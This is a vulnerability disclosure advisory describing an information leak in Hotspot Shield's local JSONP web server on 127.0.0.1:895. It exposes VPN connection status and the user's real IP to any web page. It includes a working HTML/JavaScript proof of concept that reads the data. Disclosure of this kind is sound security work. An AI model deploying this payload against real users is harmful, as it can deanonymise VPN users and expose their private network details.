SSD Advisory – Hotspot Shield Information Disclosure

blogs.securiteam.com/index.php/archives/3604

Vulnerability Summary

The following advisory describes a information disclosure found in Hotspot Shield.

Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.”

Credit

An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response

“Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket”

Vulnerability details

The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

Proof of Concept

```
<head>
<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
    alert(JSON.stringify(leak));
}
</script>
</head>
<script>
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.id = 'jsonp';
    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
    head.appendChild(script);
</script>
```